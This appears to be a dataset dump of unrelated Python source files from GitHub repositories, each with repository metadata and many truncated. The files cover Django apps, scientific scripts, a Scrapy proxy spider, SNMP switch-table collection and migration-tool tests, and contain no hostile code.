] | permissive | Charl86/kb-image-shuffler | ceaf9e921e571021df0db4fd9da577517591a276 | bed42468f6889f358bd73fed6c7b4451362714da | refs/heads/main | 2023-07-18T17:02:20.910216 | 2021-09-09T12:59:53 | 2021-09-09T12:59:53 | 373,650,873 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,699 | py | shuffleStrategy.py | """Module that contains the implementations of the Strategy pattern.
Module that contains the abstraction and implementation of the
Strategy pattern centered around shuffling algorithms.
Implementations
---------------
KeyBasedShuffleStrategy
NoShuffleStrategy
"""
from shufflealgos import abc, TYPE_CHECKING
from shu... |
8447bbb82f17261c34f7a58ea0ccde31983b9e6e | 6f6f6c1f554900e613f1e8559a4c2afa5101ecee | /client/local.py | 4fdab1c73bb9e789c0c676406b5dc092351a5c30 | [] | no_license | kcrossan/mogbar3000 | 8e945f09d8e491f563c7ce0493d72a8f9732d0c1 | 2971aafc5cec6133e13e1997071d9c35b4bfd49c | refs/heads/master | 2020-03-30T13:39:28.617110 | 2012-09-09T08:08:13 | 2012-09-09T08:08:13 | 3,096,099 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 74 | py | local.py | class Track(object):
pass
class Client(object):
def __init__(self):
|
9abf639ed11cd980d009cd803251176e4a2f3092 | 673ceb0808969fea20306e86418c881c0e6894f1 | /HrSurvey/migrations/0006_auto_20190603_1821.py | b534735426f8c5926afb8571de0ec86fc5b09011 | [] | no_license | harsh8999/HR-Survey-API | 62be54b2f635589e599d069653ccba479fdc229f | e5d575624aa376b1a8fa1aac359292be2d441eeb | refs/heads/master | 2020-05-30T11:31:48.425894 | 2019-06-20T15:04:35 | 2019-06-20T15:04:35 | 189,704,833 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 962 | py | 0006_auto_20190603_1821.py | # Generated by Django 2.2.1 on 2019-06-03 12:51
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('HrSurvey', '0005_auto_20190530_1116'),
]
operations = [
migrations.AlterField(
model_name='opti... |
f0faa967dde882bbcd0fe63fe9eb4701c4c72e44 | 49763792e05dbe70f96e349f2065914b54c3cf92 | /GameOfLife/copiar.py | 2a9660031346c7b2293a588f3eb9b8c25f3dddb7 | [] | no_license | tonabarrera/SistemasComplejos | 0ef5d9bcfb8f9e2e8bb3618c15309be6345bab99 | 3e7748bf8715a11ef57a185283b72ac94f0a5f4c | refs/heads/master | 2020-04-01T22:21:56.428782 | 2018-10-16T03:37:20 | 2018-10-16T03:37:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 282 | py | copiar.py | import copy
# array=[[0] * 3 for i in range(3)]
# for i in range(3):
# for j in range(3):
# array[i][j]=i*j
# print(array[i][j])
# array2=copy.deepcopy(array)
# for i in range(3):
# for j in range(3):
# array2[i][j]=10
# print(array[i][j])
for i in range(3,4):
print(i) |
fc7337e49fcd8f3d4f8888f5656a1320355bc24a | 222e4fecf57fc9a329ebaefdf5d9e4e4144471f7 | /graffitiApp/admin.py | 523e576b7943fca650d7a6fdc66834eac486a4f4 | [] | no_license | juliarobles/graffitisWeb | 8eca7f55dd9bb6a1b24defeab48302bca8dea6fe | cce78b4026d3a00181589929d3cf9ca45ece4b26 | refs/heads/nube | 2023-02-27T16:07:34.196163 | 2021-02-02T18:20:14 | 2021-02-02T18:20:14 | 314,350,811 | 5 | 0 | null | 2021-01-27T23:53:51 | 2020-11-19T19:33:54 | Python | UTF-8 | Python | false | false | 195 | py | admin.py | from django_mongoengine import mongo_admin as admin
from .models import Publicacion, Usuario, Graffiti
# Register your models here.
admin.site.register(Publicacion)
admin.site.register(Usuario)
|
0fb3728859e2cdb571d75c7703c87a1a59290a43 | 1f41b828fb652795482cdeaac1a877e2f19c252a | /maya_menus/_MAINMENU_PMC_Project/02.WonderBalls/08.Paper Rig/01.Bind Mesh Controller( horizontalAndVerticalAndTarget ).py | b49b551a01a2489cbec30313de0e819c1c4ebb6d | [] | no_license | jonntd/mayadev-1 | e315efe582ea433dcf18d7f1e900920f5590b293 | f76aeecb592df766d05a4e10fa2c2496f0310ca4 | refs/heads/master | 2021-05-02T07:16:17.941007 | 2018-02-05T03:55:12 | 2018-02-05T03:55:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,949 | py | 01.Bind Mesh Controller( horizontalAndVerticalAndTarget ).py | from sgMaya import sgCmds
import pymel.core
def getDigitNumFromName( name ):
firstLocalName = name.split( '|' )[-1]
digitIndices = []
for i in range( len( firstLocalName ) ):
if firstLocalName[i].isdigit():
if len( digitIndices ):
if i == digitIndices[-1]+1:
... |
a0045b93ea18f63073859e60805e78c38364417a | 8382ea785f89ca8812f1737b1f36020ba31a067d | /src/rl_agents/jirp/jirp.py | ea1e16c1e244fd02962a7cca84fb0449e866cefe | [] | no_license | daniel-neider/stochastic-reward-machines | 9018fe6aace6986e07add97562a7aa97d185c278 | 4903c2e119a2ae7b13e02f8ad64b84a95e43e154 | refs/heads/master | 2023-07-27T14:50:42.742495 | 2021-09-11T16:21:23 | 2021-09-11T16:21:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,311 | py | jirp.py | """
JIRP based method
"""
import random
import IPython
from baselines import logger
from seeds import set_global_seeds
import numpy as np
import os.path
from rl_agents.jirp.sat_hyp import sat_hyp
from rl_agents.jirp.util import *
from rl_agents.sjirp.util import *
from rl_agents.jirp.consts import *
from rl_agents.sji... |
4823638b0aef890a92c956db2bb9692efb471e9a | 54dfec9e554eebc744e591bbe79a94ef5ebd6061 | /Rhea_Chip/tools/cnv/GCcorrect.py | a95c816df5e24b7b579f862074dd6267f75c63cb | [] | no_license | raksasa/Rhea_Chip | 6bf013411b6e3a2111e2c14ebd44d0b7f62dae31 | 03bb6470d60f50483613c283b31c4ab2128bf7e8 | refs/heads/master | 2021-12-11T04:30:32.646342 | 2016-10-14T02:58:43 | 2016-10-14T02:58:43 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,440 | py | GCcorrect.py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
# 代码有问题别找我！虽然是我写的，并且我觉得它是没问题的，如果不是你的操作原因，或许是它自己长歪了！
import pysam
import os
import sys
import numpy as np
import statsmodels.api as sm
from smart_open import smart_open
from Rhea_Chip.lib import cnv
from Rhea_Chip.lib import DescribeArray
from Rhea_Chip.lib.cnv import _chr... |
03a3a92a3c3cd0644f8c30bb45abce265ad5d061 | 6ae74f2a439ea90ddd58b286b55bfd0b3c2c7111 | /markdownToHtml/md2html.py | 137b262174b5311ad08e1a4788b146ebe6a2ee91 | [] | no_license | huangxiquan/python | 5f7b2c51df9fd117476698eb1699f01a1c9e26e9 | 6508e8224020da761362ebbfbe521c8781cb4024 | refs/heads/master | 2021-01-01T03:42:18.193680 | 2017-07-19T07:19:46 | 2017-07-19T09:47:25 | 59,715,512 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,290 | py | md2html.py | import markdown
import os
import os.path
from bs4 import BeautifulSoup
rootDir = '/Users/huangxiquan/huangxiquan/temp/FFWiki.wiki'
def walkDir(dir) :
if(not dir or dir.startswith('.')) :
return
list = os.listdir(dir)
for file in list :
if(os.path.isdir(file)) :
walkDir(file)
... |
bb82539801dbe5442b85d86f746b6cbf13082c7a | 89ba91eb336b67534e2ebb7e08c35fdb202aff1e | /WEEK03/primerange.py | ca2282cd9ef11ac445bf1c111a4774cd7e6a8742 | [] | no_license | mindful-ai/teq-b5-py-dsc-ml | f57a593d2a88a85e65642fa3e4275534a95eeff9 | 18500655b1d31423879b5dad76bb606d9c2c7610 | refs/heads/master | 2020-12-26T05:32:17.926816 | 2020-03-02T16:47:37 | 2020-03-02T16:47:37 | 237,402,025 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 415 | py | primerange.py |
# import required modules
import myprime
# input
start = int(input('Enter a start point: '))
end = int(input('Enter the end end point: '))
# process
primes = []
for num in range(start, end+1): # start of the for loop
if(myprime.checkprime(num)): # check if the number is prime
primes.append(nu... |
e43bbf55895f44d7d525d0878aa2e20e8f46ca94 | 80daeb8e26f6f8257042b854081cd73a0f996133 | /free.py | 959ff87b3ac03aa42edf936e5e8678d6a86617c8 | [] | no_license | ssandyy/pythonpro | fcfa0511fb11e8984653922dedf88b4b400c918a | 1d2e18d590338561b1d8fc24bb740745f8ac19ad | refs/heads/master | 2020-03-28T10:54:16.996207 | 2018-09-10T13:12:04 | 2018-09-10T13:12:04 | 148,157,314 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 458 | py | free.py | from datetime import *
today=datetime.today()
print("Today is : ",today)
for attr in ['day','month','year','hour','minute','second','microsecond']:
print(attr,':\t',getattr(today,attr))
#print('Time:',today.hour,today.minute,today.second,sep=':')
day=today.strftime('%A')
month=today.strftime('%B')
year=to... |
dcf6192983ef3aaeaed001a29c5d9d9a38acaea8 | 7a1f6f1aae43b219cd34c3c9b907923fb839e6f5 | /Python/Python2nensei/python2nen_sample/chap1/chap1-3.py | 2c819c6417e5716a7e369432993ce5691efa2fab | [] | no_license | amanoman/amanoman.github.io | b5afc80e0e49ed15db793e2ebf69003c05ab8ce0 | 141c928f6d1df0389859f663f6439d327d4c32d6 | refs/heads/master | 2023-05-28T07:22:09.735409 | 2021-03-31T15:00:14 | 2021-03-31T15:00:14 | 187,139,297 | 0 | 1 | null | 2023-05-22T23:37:24 | 2019-05-17T03:19:36 | Jupyter Notebook | UTF-8 | Python | false | false | 429 | py | chap1-3.py | import requests
# Webページを取得する
url = "https://www.ymori.com/books/python2nen/test1.html"
response = requests.get(url)
# 文字化けしないようにする
response.encoding = response.apparent_encoding
# ファイルを書き込みモードで開いて
filename = "download.txt"
with open(filename, mode="w") as f:
# ネットから取得した読み込んだデータを書き込む
f.write(response.text)
|
9c2a18784b90ddca4b49347d23bbb4b1afdcdb15 | 8e9fac4a9613d8c2c43ecfe9d81e88a36c383871 | /csv_comparer.py | c8d28c4e7ac1d3a0f7eee815533da82677fa9b92 | [] | no_license | eilin/data-comparer | 9f4152c2efa5e5e56f2bed743a2d0033479a9ad9 | 70f3c2f6df5c92ac6aa3d45dce43f7c9262274d9 | refs/heads/master | 2022-12-15T14:55:43.322060 | 2020-08-24T19:09:02 | 2020-08-24T19:09:02 | 290,016,475 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,272 | py | csv_comparer.py | a_params = {
'data_name': 'test_a',
'filename': 'test_a.csv',
'key_idx': 0,
'val_idx': 1,
'is_compound_key': False,
'ckey_indexes': [0, 1]
}
b_params = {
'data_name': 'test_b',
'filename': 'test_b.csv',
'key_idx': 0,
'val_idx': 1,
'is_compound_key': False,
'ckey_indexes': [0, 1]
}
def build_di... |
9e2b04b615be60f6f71767eaf0af7e64eadb911e | 149eb50d8f97186da71d42930f11e048c84aad56 | /classification/titanic/tf/titanic_0.1.py | fc67f5787affad3ae8b68edd54a806c6a8ded6c8 | [] | no_license | spicyramen/deep_learning | ada9a295a51ff503a28d0e145a700c6e1d862608 | 76ec4f92f17a8cbfab2cf371a1372c2263f8ea0e | refs/heads/master | 2021-09-14T21:10:12.867552 | 2018-05-19T22:04:04 | 2018-05-19T22:04:04 | 113,137,403 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,686 | py | titanic_0.1.py | import pandas as pd
import tensorflow as tf
import random
from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score
from sklearn.linear_model import LogisticRegression
data = pd.read_csv('data/titanic.csv')
random.seed(42)
_N_CLASSES = 2
_LEARNING_RATE = 0.05
_TRAIN_STEPS = 200
... |
1c7ec45fec25ccb1cff1cc5c0e952edbf4708af6 | f835ed9db8702ea22fa3620d4ff8f2eef9e66153 | /Assignment/fibonacci.py | dbe9a2664f1b5c2ac702af9cb6a7fd2e62634046 | [] | no_license | madhavsullad/dummy_python_repo | 0ea700d1eeb90b3e10342b38010a227202d01113 | dd4fa9b346c35e0e0020283f4a8173d59ce779fb | refs/heads/master | 2020-06-05T01:59:14.400473 | 2019-06-18T05:06:49 | 2019-06-18T05:06:49 | 192,273,878 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 201 | py | fibonacci.py | n = int(input('Enter the number:'))
n1 = 0
n2 = 1
c = 0
print('Fibonacci series are:')
if n == 1:
print(n1)
else:
while c < n:
print(n1, end = ', ')
nn = n1 + n2
n1 = n2
n2 = nn
c += 1 |
b3c4142170e7e897c6fd3125d8f5054c5d57e23f | 1da15a9d00b1aa0325ed3f534a3784501303461a | /fdb.py | a87667571a216659a152a1dafc74ac9c48302d91 | [] | no_license | xorand/fdb-python | 7b3fd09808147b0c37e235df11a5c37bfd63f0b8 | 2edb5b218d3b429b5577eee70be8a287ba2d1165 | refs/heads/main | 2023-07-19T02:09:39.697895 | 2021-08-31T06:28:12 | 2021-08-31T06:28:12 | 401,600,905 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,098 | py | fdb.py | #!/usr/bin/env python3
from argparse import ArgumentParser
from pysnmp.entity.rfc3413.oneliner import cmdgen
import paramiko
import mysql.connector
from fdb_cfg import *
def fetch_fdb(ip, community):
mib = '1.3.6.1.2.1.17.7.1.2.2.1.2'
value = tuple([int(i) for i in mib.split('.')])
generator = cmdgen.Com... |
331a07943ba16c55da3994f7a692bd0e3bd226f6 | cca5d8894f092a09f0cd201cf4189f8762e9a354 | /python-practice/scrapy-selenium/scrapy-practice/proxyCheck/proxyCheck/spiders/kdlspider.py | 61c8a79977049b2b2b82ea7113265de24caa5bf3 | [] | no_license | cxyluxixi/origin | 878b1f679e8ece0dc7353b6720a7312e8f55e4b2 | 492768f82e9cb61015baa5fa5f6fccf7071dbbd3 | refs/heads/master | 2022-12-20T22:57:46.530210 | 2020-11-15T13:22:20 | 2020-11-15T13:22:20 | 144,032,224 | 0 | 0 | null | 2022-12-07T22:35:22 | 2018-08-08T15:19:19 | Jupyter Notebook | UTF-8 | Python | false | false | 712 | py | kdlspider.py | # -*- coding: utf-8 -*-
import scrapy
from proxyCheck.items import ProxycheckItem
class KdlspiderSpider(scrapy.Spider):
name = 'kdlspider'
allowed_domains = ['kuaidaili.com']
start_urls = ['http://kuaidaili.com/']
for i in range(1,6):
start_urls.append('http://www.kuaidaili.com/free/inha/' + st... |
9dab3c546378dfd50b71a67d514a9a40dfbbf9fe | e376aef23f0c3d3d810bed530d13c8ef5538beca | /bell/apps.py | e3b332414b418af3d4c6fa7bd131fc0ac0df838a | [] | no_license | parkchu/pitube | d20d477656a0c8cb7555e6a2b3b5d2d21fd280b0 | 792ffa3de5361d90daea4ae99f2a2a411d988076 | refs/heads/master | 2022-09-27T05:00:01.647501 | 2020-06-05T09:43:35 | 2020-06-05T09:43:35 | 255,579,152 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 83 | py | apps.py | from django.apps import AppConfig
class BellConfig(AppConfig):
name = 'bell'
|
2d621069d2421804bcefe0df5db5f80891a81235 | 1afceb35279044b86097277aac35edc9217c36f7 | /Exercicio_Qual maior numero.py | a50218f5a815b7df23f2a88f69c9f27c1c241278 | [
"MIT"
] | permissive | SkiereszDiego/Logica-de-Programa-o-e-Algoritmos-e-Programa-o | 2b8ca2a26524a24353d80b4f1fbeb823bdd4f4c4 | c1e998edf9e2cb8ec8724ba4efdd7677c6838a50 | refs/heads/master | 2023-03-14T01:34:25.013437 | 2021-03-05T22:39:21 | 2021-03-05T22:39:21 | 281,750,695 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 322 | py | Exercicio_Qual maior numero.py | '''6. Fazer um algoritmo para ler dois números e mostrar o maior deles.'''
a = float(input("digite um numero:"))
b = float(input("digite outro numero:"))
if ( a > b):
print ( "O maior numero é o ", a)
elif ( a == b):
print ('Os numeros são iguais!')
else:
print ('O maior numero é o ', b)
|
c10b26c9be9641e1bbd47f7b345827c228eadd10 | 0f61ce13277a169a65a809a2f61bd884a19b868e | /sandbox/plts.py | 2c19f3906731cf390dda4f54a92a1e34607b25d5 | [
"MIT"
] | permissive | tms1337/crypto-trader | 3652f8d0c721cfed5e36479014d2649de49ce96f | 1fc965d41b4d4e2b637153bfcac0fd2c9f9c46d2 | refs/heads/master | 2023-07-19T18:07:38.932908 | 2017-10-22T17:45:56 | 2017-10-22T17:45:56 | 96,236,363 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 484 | py | plts.py | import matplotlib.pyplot as plt
import matplotlib.mlab as mlab
import pandas as pd
import numpy as np
import math
df = pd.read_csv(sep=" ",
filepath_or_buffer="/home/faruk/Desktop/crpyto-data/eth_daily_ohlc_all.csv")
data = df.values
closing_prices_delta = []
for i in range(1, len(data)):
closing... |
470f8ed1b5dbe1f7f77d89baf38126228ca8e88e | 91648b634793e0c3de2dd1ebbb569d49cb62f01e | /api/api.py | b62dab4fc18869ea97b23e9d94cc0c1fee150453 | [] | no_license | seanyboy271/api-practice | 92d30095719156d231904e37fa8447f1a971fc9c | f6583578f884977241b16d1b4713b6fc57c07d08 | refs/heads/master | 2020-07-26T03:52:04.661736 | 2019-09-15T03:40:08 | 2019-09-15T03:40:08 | 208,525,630 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,124 | py | api.py | import flask
from flask import request, jsonify
import os
app = flask.Flask(__name__) #create flask app
app.config["DEBUG"] = True
@app.route('/', methods=['GET']) #Set route to / and method to get.
def home():
return "<h1>Test API</h1><p>This is meant to test the feasibility of creating an api for the capstone ... |
5d99b76ddf444b82235353a54208c1d10e8e37c1 | 16ca6a7afcd4f62b055d6ba1c9841b59c1b15082 | /configs/faster_rcnn/faster_rcnn_r50_fpn_1x_coco.py | c5d6dd2e27d62d50d0e671d7d8dda777be53e8cf | [
"Apache-2.0"
] | permissive | mengqiDyangge/HierKD | 787365f22eb4b25cb64bb9e255f7824be06a9541 | 18b2307eb7a98e45b6e6d3d30e2a72e13da86c7b | refs/heads/main | 2023-05-23T09:04:31.348978 | 2022-08-25T14:59:41 | 2022-08-25T14:59:41 | 470,613,658 | 34 | 1 | null | null | null | null | UTF-8 | Python | false | false | 238 | py | faster_rcnn_r50_fpn_1x_coco.py | _base_ = [
'../_base_/models/faster_rcnn_r50_fpn.py',
'../_base_/datasets/coco_detection.py',
'../_base_/schedules/schedule_1x.py', '../_base_/default_runtime.py'
]
data = dict(
samples_per_gpu=4,
workers_per_gpu=4,
) |
d2f0cb8cf7c48111e7995c72fc3fda22e7558526 | 3f01897524a19b154625760d05ffbb4b64ba0b27 | /scratch/shawn/logtimingpackets.py | c211000d63f57e7ba2f6fca37b1e798bf6a13818 | [
"BSD-2-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | slaclab/pysmurf | 4f6d89f54d21b4d1f19d0e787655865cf4500a6b | 3ed5cb3c9496872c953fcb275e8a8cfba1c19482 | refs/heads/main | 2023-08-16T13:06:05.571830 | 2023-07-11T23:56:20 | 2023-07-11T23:56:20 | 173,169,994 | 4 | 12 | NOASSERTION | 2023-09-04T21:07:59 | 2019-02-28T18:56:07 | Jupyter Notebook | UTF-8 | Python | false | false | 3,138 | py | logtimingpackets.py | from epics import PV
import os
import sys
slots=[2,3,4]
cadence_sec=5
pvs = {}
for slot in slots:
pvs[slot]={}
pvs[slot]['sofCount'] = PV(f'smurf_server_s{slot}:AMCc:FpgaTopLevel:AmcCarrierCore:AmcCarrierTiming:TimingFrameRx:sofCount')
pvs[slot]['eofCount'] = PV(f'smurf_server_s{slot}:AMCc:FpgaTopLevel:Am... |
5fdb1de5553c5c9493b8e519b4822b0961726206 | 56eb496a6a84ab83a058cde64e5d5732772b7214 | /tests/test_cli.py | c173e3023de8a9f1d23e201250dce04dc2919d56 | [] | no_license | klen/peewee_migrate | e15d5a459e2f8893057dbfefcdffce7e2939b31d | daa96cea3e1ccba6733b8a52ca1b04fa1e20872c | refs/heads/develop | 2023-08-29T15:47:01.427100 | 2023-08-07T11:41:50 | 2023-08-07T11:41:50 | 27,434,828 | 364 | 104 | null | 2023-08-07T11:33:27 | 2014-12-02T13:59:17 | Python | UTF-8 | Python | false | false | 2,842 | py | test_cli.py | import pytest
from click.testing import CliRunner
from peewee_migrate.cli import cli, get_router
runner = CliRunner()
@pytest.fixture()
def dir_option(tmpdir):
return "--directory=%s" % tmpdir
@pytest.fixture()
def db_url(tmpdir):
db_path = tmpdir / "test_sqlite.db"
db_path.open("a").close()
retur... |
8b28c22ecce5f16b802303cba8be09fb665d27e7 | dbdfbc9b5553f46f91775766817ff7e3e3a85eea | /crops/scan.py | 67688dbe20874f183ac76db3daf993709db5af0d | [] | no_license | Shawn930808/Crops | 122680b7d71a5876d5c4777481d71eeec85e6f7d | b43ec816e4941447006639e36b41e63e8e60ef68 | refs/heads/main | 2023-06-27T21:20:19.115719 | 2021-07-30T13:56:33 | 2021-07-30T13:56:33 | 391,082,175 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,989 | py | scan.py | import argparse
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import datasets
from torchvision import transforms
from torch.autograd import Variable
import importlib
from datasets.utils import heatmap_collate
from train import Trainer
from torch.optim.lr_scheduler import... |
1dcb206056711b0e468cdd50d3b5219bf6a24ccc | 5b88a158df4c994c84454bfca7f424c901a423fc | /Homeworks/Homework1/traveling_salesman_test.py | 66244c95dcab9158dea06513e7987daf5a3e9e7c | [] | no_license | Iam-L/cs344 | 68fb2a0b3efab3a52d0162e6712cb5a8968fc444 | 22583eebf7746531e1695c8ee7b748cf689c6fde | refs/heads/master | 2020-07-21T03:04:39.549176 | 2019-05-29T05:36:02 | 2019-05-29T05:36:02 | 206,747,197 | 1 | 0 | null | 2019-09-06T08:17:28 | 2019-09-06T08:17:27 | null | UTF-8 | Python | false | false | 7,682 | py | traveling_salesman_test.py | """
Course: CS 344 - Artificial Intelligence
Instructor: Professor VanderLinden
Name: Joseph Jinn
Date: 2-20-19
Homework 1 - Problem Solving
Traveling Salesman Local Search Problem
"Unit" Testing Class.
Note:
I have optimized the actual code in traveling_salesman.py. This was mostly development/testing code.
Diff... |
c3c404d1e3986e8de2f2350b1fd7dab00d776afc | a55496a955fc3e74e893a5692385b0f7c2a9ebfd | /1028_보물상자 비밀번호.py | db0aee1963c254d578aab31756dbdd76c3645408 | [] | no_license | i-cluster/Study | ab74c524875e5dac1ae1acd8f61b03d44a88c8de | 1c85caa0f27bfaace99514a1713799af07023cc5 | refs/heads/master | 2023-04-14T17:34:40.679721 | 2021-04-29T12:23:10 | 2021-04-29T12:23:10 | 309,609,722 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 601 | py | 1028_보물상자 비밀번호.py | # SWEA 5658
import sys
sys.stdin = open('sample.txt', 'r')
for tc in range(1, int(input())+1):
n, k = map(int, input().split())
nums = input()
n //= 4
# 비밀번호 배열
pw = []
for _ in range(n):
# 숫자 4개를 비밀번호 배열에 저장
for i in range(4):
num = nums[i * n:i * n + n]
... |
50a59849e3c5af4db88f67d5249258bee702dc83 | 6375f47eec4589746888b66e086476349c016ee1 | /Test.py | ea9ee65bc9c473a73a00f71c4659567dab1046fa | [] | no_license | asaadam/TextMining | a6ff77dcaee07e2f0f9d6bfd19af545718affedb | 43a107788d032da4da2a445afa305f227c372460 | refs/heads/master | 2020-09-14T10:16:32.670589 | 2019-11-21T06:10:59 | 2019-11-21T06:10:59 | 209,998,949 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 707 | py | Test.py | class Test:
@staticmethod
def main():
num_list = [(151258350, 2464),
(151258350, 56),
(151262958, 56),
(151258350, 56),
(151262958, 112),
(151262958, 112),
(151259627, 56),
... |
50bd67939e7ef1a659b2dae2b387e9bc73cdad02 | 3a29520f5a0f69640f6a3db1a44f86e47129c00f | /content.py | 017ab66dca13576ffbeded3c6017c372908992e2 | [
"MIT"
] | permissive | juliakaranja/restaurant-recommendation-system | fddb0449301f9519bf1c49cafd5960fc33aa5e51 | a52068198283a825ea13e586e9e98e0bfd2008eb | refs/heads/main | 2023-03-16T08:05:17.485356 | 2021-01-25T08:45:05 | 2021-01-25T08:45:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,199 | py | content.py | import numpy as np
import pandas as pd
import sklearn
import streamlit as st
from sklearn.feature_extraction.text import CountVectorizer,TfidfVectorizer
from sklearn.metrics.pairwise import cosine_similarity, linear_kernel
#path to data
toronto_URL= "/home/cate/Cate/restaurant-recommendation-system/data/new_toronto_... |
4fb90a4e57d724ecb6a5a7b159fca9375f1260b8 | 02e92b4c5383d48ad51bbf5498516a42c2040027 | /lcm/ns/biz/ns_instant.py | 195947119a00f466c99b9c93fa0b681bb5ccf487 | [
"Apache-2.0"
] | permissive | onap/vfc-nfvo-lcm | bb8850e0b566ac3faabfcda38e8be19d32c9f51e | 129029584597941bb7603dd7440b7d37f823ef96 | refs/heads/master | 2023-07-20T01:03:14.557364 | 2023-07-04T11:43:14 | 2023-07-05T15:29:09 | 115,762,916 | 5 | 3 | NOASSERTION | 2021-06-29T18:31:48 | 2017-12-30T00:15:22 | Python | UTF-8 | Python | false | false | 14,809 | py | ns_instant.py | # Copyright 2016-2017 ZTE Corporation.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
c92677f9ab634b86f48b818b8a5bf91f5ae09f6d | 00c01acaa692ce75c70784abf47933dc7ee53a95 | /ultraopt/optimizer/base_opt.py | 04cbc54ea10c2d7741f41b5777567aae2f581f6b | [
"BSD-3-Clause"
] | permissive | XrosLiang/ultraopt | 1e2231565b8ba4b989ee12e1ca86e7508256a84b | 6ff221027c4b1b022499d0b7d46b65f18815ada8 | refs/heads/main | 2023-02-14T00:33:08.215621 | 2021-01-12T02:41:44 | 2021-01-12T02:41:44 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,220 | py | base_opt.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : qichun tang
# @Contact : qichun.tang@bupt.edu.cn
from collections import defaultdict
from copy import deepcopy
from math import inf
from time import time
from typing import Tuple, Union, List, Dict
import numpy as np
from ConfigSpace import Configuration
fr... |
ac43faaf37899a0b84b839a361c3e11763f7901a | c9f44f4c76fbeefeb8a713b114dcf15d8106945b | /site/isannounces/mlmgr/admin.py | 85b2618f82ea33099fffdf76b2cb9b76d2cf7e17 | [] | no_license | cgaspoz/isannounces-old | 98ce55832cfc47b2ea83ed7b2796c43c5c3a012e | e2aa15bdaba241b7077b710e080def7089e7a7af | refs/heads/master | 2020-05-20T14:28:25.962698 | 2010-10-13T22:25:32 | 2010-10-13T22:25:32 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 175 | py | admin.py | from django.contrib import admin
from isannounces.mlmgr.models import MailingList, MailingListMessage
admin.site.register(MailingList)
admin.site.register(MailingListMessage) |